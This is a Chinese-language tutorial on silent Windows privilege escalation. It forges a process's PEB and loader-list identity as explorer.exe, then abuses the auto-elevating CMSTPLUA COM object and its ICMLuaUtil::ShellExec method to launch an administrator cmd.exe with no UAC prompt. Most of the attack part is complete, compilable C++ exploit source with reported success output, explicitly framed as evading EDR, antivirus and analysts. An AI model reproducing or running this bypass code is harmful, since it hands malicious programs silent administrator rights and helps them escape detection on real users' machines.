1. 攻击思路概述

Windows攻击链中,许多看似基础的提权手段依然频繁奏效。在缺乏可用漏洞或需避免高风险内核操作时,攻击者会试图让提权看起来像系统应有的行为,以避免打断用户或触发告警。因此,“进程伪装”常被用于提权之前。攻击者通过塑造“合理的进程身份”而非单纯隐藏,来让EDR 、AV等防护产品和分析人员误以为其后续操作是合规的。

提权不只是技术问题,而是关于身份与信任的问题:

Who:请求者的身份是否合法?

Why & When:请求的时机与理由是否成立?

Logic:在现有流程中,该行为是否突兀?

攻击者在不利用内核漏洞的前提下,通过篡改进程用户态 PEB(Process Environment Block)信息伪装成可信系统进程(如 explorer.exe),欺骗WindowsAppInfo服务(AIS),使其认为请求来自白名单进程,从而绕过UAC弹窗静默提权。

核心链条:PEB伪装(ImagePath + CommandLine +LDR链表)→ 调用CMSTPLUA COM组件(Elevation Moniker)→ AppInfoPEB欺骗 → 静默创建高权限dllhostShellExec启动管理员程序

2. Windows 进程的四层身份

层级 内容 说明
映像文件 磁盘 exe 路径、签名、版本信息 静态分析可查
用户态运行时 PEB、LDR链表、命令行、环境变量​ 攻击者的篡改目标​
行为信息 API 调用、文件/注册表/网络操作 EDR 行为检测
内核信息 EPROCESS、句柄表、PPL 真实身份 普通程序不可改
攻击者倾向于寻找成本最低、收益最高的进程伪装方式,以躲过安全防护软件的检测和分析师的注意,然后悄无声息地实现提权。伪造进程的内核信息,成本和风险都很高;而篡改磁盘上的映像信息又容易被静态扫描识破。

因此,攻击者的目光很自然地落在了进程的用户态运行时信息上。这是一个介于内核与用户观测之间的“灰色地带”,其中比较方便操作的就是进程环境块PEB,它既不属于内核,却又深刻影响着用户态工具和分析人员的判断。

3. PEB 进程伪装(Process Masquerading)

3.1PEB结构

PEBProcess Environment Block(进程环境块)的缩写。它是Windows操作系统内核中一个非常关键的数据结构。
每个进程都有自己独立的PEB结构。它位于用户态内存,用于存放特定进程状态信息的关键数据结构,包含映像基地址、加载的模块列表(PEB_LDR_DATA)、命令行参数和环境变量等,普通进程可以直接读取甚至修改它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//不同版本的windows系统的PEB结构体成员有些许差异
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; // 是否处于调试状态(1=被调试,0=未被调试)
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr; // 模块加载器数据(已加载模块链表等)
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;// 指向RTL_USER_PROCESS_PARAMETERS结构体的指针,结构体包括进程的若干参数(命令行、镜像路径、当前目录等)
PVOID Reserved4[3];
PVOID AtlThunkSListPtr; // ATL thunk 相关的单向链表指针
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;// 32位 ATL thunk 链表指针(WOW64/兼容用途)
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId; // 会话 ID(用于区分交互会话/服务会话等)
} PEB, *PPEB;


struct _RTL_USER_PROCESS_PARAMETERS
{
    ………………………………………………                      //部分成员省略
    ULONG DebugFlags;                       // 调试相关的标志
    VOID* ConsoleHandle;                    // 关联的控制台句柄(对于 GUI 程序通常为 NULL)
    ULONG ConsoleFlags;                     // 控制台状态标志
    ………………………………………………                      // 部分成员省略
struct _CURDIR CurrentDirectory;        // 当前工作目录(内含目录路径和句柄)
struct _UNICODE_STRING DllPath;         // 默认的 DLL 搜索路径
struct _UNICODE_STRING ImagePathName;   // 【关键】进程的可执行文件完整路径(伪装核心)
struct _UNICODE_STRING CommandLine;     // 【关键】启动进程的完整命令行字符串(伪装核心)
    VOID* Environment;                      // 指向进程环境变量块的指针 (KEY=VALUE 字符串列表)

    ………………………………………………                      //部分成员省略
}

x86 (32位):TEB 位于 FS 段寄存器指向的地址,PEB 地址存储在 FS:[0x30]。
x64 (64位):TEB 位于 GS 段寄存器指向的地址,PEB 地址存储在 GS:[0x60]。

要实现的UAC绕过需要欺骗AppInfo服务(承载了大部分UAC的验证逻辑),仅仅修改ProcessParameters是骗不过AppInfo服务的。AppInfo还会遍历PEB->Ldr(加载器数据),检查当前进程加载的第一个模块(即EXE自身)的路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
typedef struct _PEB_LDR_DATA {
ULONG Length; // 结构体自身大小 (0x28)
BOOLEAN Initialized; // 是否已初始化
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList; // 按加载顺序的模块链表
LIST_ENTRY InMemoryOrderModuleList; // 按内存顺序的模块链表
LIST_ENTRY InInitializationOrderModuleList; // 按初始化顺序的链表
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink; // 指向下一个节点
struct _LIST_ENTRY *Blink; // 指向前一个节点
} LIST_ENTRY, *PLIST_ENTRY;

typedef struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName; //模块完整路径
UNICODE_STRING BaseDllName; //模块短名称
………………………………………………
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

3.2 修改位置

PEB→ProcessParameters→ImagePathName / CommandLine
PEB→Ldr→InLoadOrderModuleList(首个LDR_DATA_TABLE_ENTRYFullDllName / BaseDllName

3.3 效果

  1. 欺骗读取PEB的工具(Task Manager、部分日志审计、旧AV
  2. 无法骗内核态查询(EPROCESS

3.4 关键点

AppInfo服务通过ReadProcessMemory()读请求者PEB,不回溯内核对象,因此被篡改的PEB可骗过UAC白名单校验。

4. UAC 绕过(PEB伪装 + CMSTPLUA COM)

4.1 UAC机制

用户账户控制(UAC) 是Windows操作系统的一项核心安全功能。你可以把它理解为系统的一道重要安检门:当任何程序或操作试图对系统核心设置进行修改时,UAC会立即“拦截”并弹窗向你确认,从而有效防止恶意软件在未经你许可的情况下对电脑进行破坏。

它的核心价值在于,即便是拥有管理员权限的用户,日常操作时也处于“标准用户”模式。只有当需要执行关键操作时,才会临时“申请”更高的权限,这从根本上阻止了恶意软件的自动安装和意外更改。

4.2 绕过操作

UAC机制下,即便是管理员账户登录,默认启动的进程也只是中等完整性(Medium Integrity),只有通过提权操作,才能获得高完整性(High Integrity),从而真正拥有写系统目录、改注册表核心键值的权限。

  1. 伪装进程身份:修改当前进程PEB + LDR链表为C:\Windows\explorer.exe
  2. 初始化COMCoInitialize(NULL)
    CoInitializeWindows API函数,用于在当前线程上初始化组件对象模型(COM)库,并将线程设置为单线程单元(STA)模式。使用任何COM功能前必须调用它(内存分配函数除外),且必须与CoUninitialize成对使用以释放资源。
    组件对象模型 (COM) 是微软开发的一种二进制接口标准,旨在实现跨编程语言(如C++、C#、Python)和跨进程的软件组件复用。它允许以DLLEXE形式存在的可重用二进制组件在运行时动态交互,是ActiveX、OLE DirectX的技术基础。
  3. 请求提权COM对象:
    使用Elevation Moniker
    Elevation Moniker(提升名字对象) 是Windows提供的一种COM(组件对象模型)技术。它允许一个以普通权限运行的程序,能够以一种受控且安全的方式,临时启动一个需要管理员权限的COM组件来完成特定任务。
    1
    2
    LPCWSTRelevat ionMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
    CoGetObject(elevationMoniker, ...);
    Elevation Moniker: Elevation:Administrator!new: 是一种特殊的COM语法。它告诉COM运行时环境(COM Runtime):实例化后面这个CLSID对应的对象,并且要以管理员权限(High Integrity Level)来创建它。如果一个普通的、未提权的程序调用这行代码,UAC(User Account Control)会拦截请求,弹出一个确认窗口,询问用户是否允许。

CLSID (Class Identifier,类标识符) 是一个128位 (16字节) 的数字,属于GUID(全局唯一标识符)的一种,通常以带有大括号和连字符的十六进制字符串形式呈现。它用于在Windows系统中唯一地标识一个具体的 COM类 (COM Class)。无论是一段处理图像的代码、一个Excel应用程序实例,还是一个执行系统权限提升的组件,只要它是一个COM对象,它就必定有一个对应的CLSID
当你通过这个组件的CLSID告诉COM系统:“请给我创建 {CLSID} 这个组件的一个实例。” COM系统会拿着这个CLSID去注册表里查找,找到对应的组件文件(DLLEXE),然后加载并创建它。

Windows注册表中有一个专门管理这些“条形码”的庞大数据库,路径通常位于:
HKEY_CLASSES_ROOT\CLSID\
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\

1
2
3
4
5
6
HRESULT CoGetObject(
[in] LPCWSTR pszName, // 关键:对象的“显示名称”
[in, optional] BIND_OPTS *pBindOptions, // 可选:绑定选项
[in] REFIID riid, // 请求的接口ID (IID)
[out] void **ppv // 输出:接收接口指针
);

CoGetObjectWindows COM库中的一个核心API函数。它的主要作用是将一段可读的字符串(显示名)转换并绑定到一个COM对象,最终让你获得该对象的接口指针,从而调用它的功能。

1
2
3
4
5
6
7
8
9
10
具体工作流程如下:
发起请求:你的代码调用 CoCreateInstance(CLSID_Target, ...) 或 CoGetObject("new:{CLSID_Target}", ...);

查询注册表:COM 子系统拿着这个 CLSID 去注册表里搜索 HKCR\CLSID{你的CLSID}。

定位物理文件:在找到的注册表项下,会有一些关键的子项告诉系统这个组件的代码保存在硬盘的哪里:
InprocServer32:表示这是一个 DLL 文件(会在当前进程内加载)。里面会写着类似C:\Windows\System32\cmlua.dll的路径。
LocalServer32:表示这是一个 EXE 文件(会在独立的进程中运行)。里面会写着类似C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE的路径。

加载并实例化:Windows 找到对应的 DLL 或 EXE,将其加载到内存,并要求它生成一个对象实例返回给你的代码
  1. CMSTPLUA (白名单组件);
    Windows系统中有一份COM组件的白名单。在这个白名单上的组件,如果被请求以管理员权限启动,且请求者(Caller)是可信的Windows系统核心进程,系统可以配置为“静默提升” (Auto-Elevation),即不弹出UAC提示框直接给权限。
    GUID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}对应的是CMSTPLUA组件(属于“应用程序兼容性”或“颜色管理”相关组件)。这个组件被微软配置为允许自动提升,且它实现了一个非常有用的接口ICMLuaUtil,里面包含了可以执行程序的ShellExec方法。

  2. 调用未文档化接口ICMLuaUtil::ShellExec():在高权限dllhost.exe上下文启动cmd.exe
    结果:获得High Integrity / Administrator​CMD,无UAC弹窗。
    ICMLuaUtilWindows系统中一个非公开(未文档化)的COM接口,主要用于CMLua组件(Connection Manager Lua实用程序)。CMLua组件(全称Connection Manager Lua)是Windows操作系统中“连接管理器”(Connection Manager)的一个实用程序模块,主要用于处理网络连接配置和远程访问服务, cmlua.dll文件的形式存在于C:\Windows\System32目录下。

4.3 欺骗 AppInfo Service

当调用CoGetObject请求自动提升时,WindowsAIS (Application Information Service)会介入进行安全检查。它会检查“是谁在请求这个权限?”
AIS的检查逻辑大致如下:
检查配置: 目标COM组件是否允许自动提升?
检查请求者: 发起请求的进程是否是Windows的可信二进制文件(如explorer.exe、taskmgr.exe等)?并且是否位于安全目录(如System32)?

在某些版本的Windows中(或者针对特定的COM接口),AIS在判断“请求者是谁”时,过分依赖了进程内存中的PEB(进程环境块) 信息,而不是严格校验磁盘上的文件签名或内核层的进程对象。
攻击发生时:
测试程序其实是恶意程序。
但测试程序在内存中修改了PEB,把FullDllName改成了C:\Windows\explorer.exe
AIS读取内存,看到路径是explorer.exe,认为这是可信的系统进程。
结果:AIS认为条件满足(可信进程请求白名单组件),于是放行,不弹窗,直接创建一个高权限的COM对象实例。

5. 完整源码

5.1 进行伪装的提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#include <windows.h>
#include <iostream>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ole32.lib")

// 1. 重新定义完整的内部结构(跳过 winternl.h 的限制)

typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

// 自定义一个 PEB 结构
typedef struct _MY_PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union {
BOOLEAN BitField;
struct {
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PMY_PEB_LDR_DATA Ldr; // 使用我们自定义的 Ldr 结构
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
} MY_PEB, *PMY_PEB;

// ICMLuaUtil 接口
class __declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C")) ICMLuaUtil : public IUnknown {
public:
virtual HRESULT STDMETHODCALLTYPE Method1() = 0;
virtual HRESULT STDMETHODCALLTYPE Method2() = 0;
virtual HRESULT STDMETHODCALLTYPE Method3() = 0;
virtual HRESULT STDMETHODCALLTYPE Method4() = 0;
virtual HRESULT STDMETHODCALLTYPE Method5() = 0;
virtual HRESULT STDMETHODCALLTYPE Method6() = 0;
virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow) = 0;
};

// 2. PEB伪装函数
bool MasqueradePEB(LPCWSTR targetPath) {
wprintf(L"[*] Masquerading PEB as: %s\n", targetPath);

#ifdef _WIN64
PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60);
#else
PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30);
#endif

if (!pPEB || !pPEB->ProcessParameters) {
wprintf(L"[-] Failed to get PEB or ProcessParameters\n");
return false;
}

// 1. 分配持久内存存储路径字符串
size_t pathLen = (wcslen(targetPath) + 1) * sizeof(WCHAR);
PWSTR newPath = (PWSTR)LocalAlloc(LPTR, pathLen);
if (!newPath) return false;
wcscpy_s(newPath, pathLen / sizeof(WCHAR), targetPath);

UNICODE_STRING usPath;
RtlInitUnicodeString(&usPath, newPath);

// 2. 修改 ProcessParameters (需要正确的结构定义,这里使用相对偏移)
// 为了避免复杂的结构定义,使用指针偏移修改
PBYTE pParams = (PBYTE)pPEB->ProcessParameters;

// RTL_USER_PROCESS_PARAMETERS 结构中 ImagePathName 的偏移(不同系统可能不同)
// 通常 ImagePathName 在偏移 0x060 处(64位)或 0x038 处(32位)
#ifdef _WIN64
PUNICODE_STRING pImagePathName = (PUNICODE_STRING)(pParams + 0x060);
PUNICODE_STRING pCommandLine = (PUNICODE_STRING)(pParams + 0x070);
#else
PUNICODE_STRING pImagePathName = (PUNICODE_STRING)(pParams + 0x038);
PUNICODE_STRING pCommandLine = (PUNICODE_STRING)(pParams + 0x040);
#endif

*pImagePathName = usPath;
*pCommandLine = usPath;

// 3. 修改 LDR 链表
if (pPEB->Ldr) {
PLIST_ENTRY pHead = &pPEB->Ldr->InLoadOrderModuleList;
if (pHead && pHead->Flink && pHead->Flink != pHead) {
PLIST_ENTRY pCurrent = pHead->Flink;
// 获取第一个模块节点 (当前进程的模块)
PMY_LDR_DATA_TABLE_ENTRY pLdrEntry = CONTAINING_RECORD(pCurrent, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

if (pLdrEntry) {
// 修改模块名
pLdrEntry->FullDllName = usPath;

PCWSTR fileName = wcsrchr(targetPath, L'\\');
if (fileName) {
fileName++;
UNICODE_STRING usBaseName;
RtlInitUnicodeString(&usBaseName, fileName);
pLdrEntry->BaseDllName = usBaseName;
}
}
}
}

wprintf(L"[+] PEB and LDR successfully patched.\n");
return true;
}

// 3. COM 提升函数 (UAC Bypass)
bool UACBypass(LPCWSTR payloadExe) {
HRESULT hr = E_FAIL;
ICMLuaUtil* pICMLuaUtil = nullptr;

LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";

BIND_OPTS3 bop;
memset(&bop, 0, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;

wprintf(L"[*] Calling CoGetObject...\n");
hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);

if (FAILED(hr)) {
wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr);
return false;
}

wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe);
hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW);

if (pICMLuaUtil) pICMLuaUtil->Release();
return SUCCEEDED(hr);
}

int main() {
HRESULT hr = CoInitialize(NULL);
if (FAILED(hr)) {
wprintf(L"[-] CoInitialize failed: 0x%08X\n", hr);
return 1;
}

// 1. 伪装
if (MasqueradePEB(L"C:\\Windows\\explorer.exe")) {
// 2. 执行 UAC 绕过
if (!UACBypass(L"C:\\Windows\\System32\\cmd.exe")) {
wprintf(L"[-] Bypass failed.\n");
}
else {
wprintf(L"[+] Bypass successful!\n");
}
}
else {
wprintf(L"[-] PEB masquerade failed.\n");
}

CoUninitialize();
system("pause");
return 0;
}

改变了PEBCommandLineImagePathName

也改变了LDR (Loader)模块链表,

cmd进程被创建,窗口左上角显示 “管理员:C:\Windows\System32\cmd.exe”。没有弹出需要确认管理员权限的窗口。

列表最后一行显示High Mandatory Level (S-1-16-12288),现在处于High级别,测试程序已经成功通过ICMLuaUtil接口,从Medium提升到了High

在这个高权限cmd窗口中,就可以执行一些敏感操作。

5.2 未进行伪装的提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <windows.h>
#include <iostream>

#pragma comment(lib, "ole32.lib")

// 定义 ICMLuaUtil 接口
class __declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C")) ICMLuaUtil : public IUnknown {
public:
virtual HRESULT STDMETHODCALLTYPE Method1() = 0;
virtual HRESULT STDMETHODCALLTYPE Method2() = 0;
virtual HRESULT STDMETHODCALLTYPE Method3() = 0;
virtual HRESULT STDMETHODCALLTYPE Method4() = 0;
virtual HRESULT STDMETHODCALLTYPE Method5() = 0;
virtual HRESULT STDMETHODCALLTYPE Method6() = 0;
virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow) = 0;
};

int main() {
// 初始化 COM 库
HRESULT hr = CoInitialize(NULL);
if (FAILED(hr)) {
wprintf(L"[-] CoInitialize failed: 0x%08x\n", hr);
system("pause");
return 1;
}

wprintf(L"--- POC: Pure COM Elevation (No PEB Masquerading) ---\n");
wprintf(L"[*] Current Process: ProcessFaker.exe (Real Identity)\n");

ICMLuaUtil* pICMLuaUtil = nullptr;

LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";

BIND_OPTS3 bop;
memset(&bop, 0, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;

wprintf(L"[*] Requesting Admin privilege via COM...\n");

hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);

if (SUCCEEDED(hr) && pICMLuaUtil) {
wprintf(L"[+] Successfully obtained interface!\n");
// 尝试启动 CMD
pICMLuaUtil->ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);
pICMLuaUtil->Release();
}
else {
wprintf(L"[-] CoGetObject Failed: 0x%08x\n", hr);
if (hr == 0x80070005) {
wprintf(L" Access denied - User might have denied the UAC prompt\n");
}
}

CoUninitialize();
system("pause");
return 0;
}

此时会弹出UAC警告窗口

这样就会大大提高检测工具或者安全分析师的警觉。

学习文章:无声的提权:Windows攻击链中的进程伪装与UAC绕过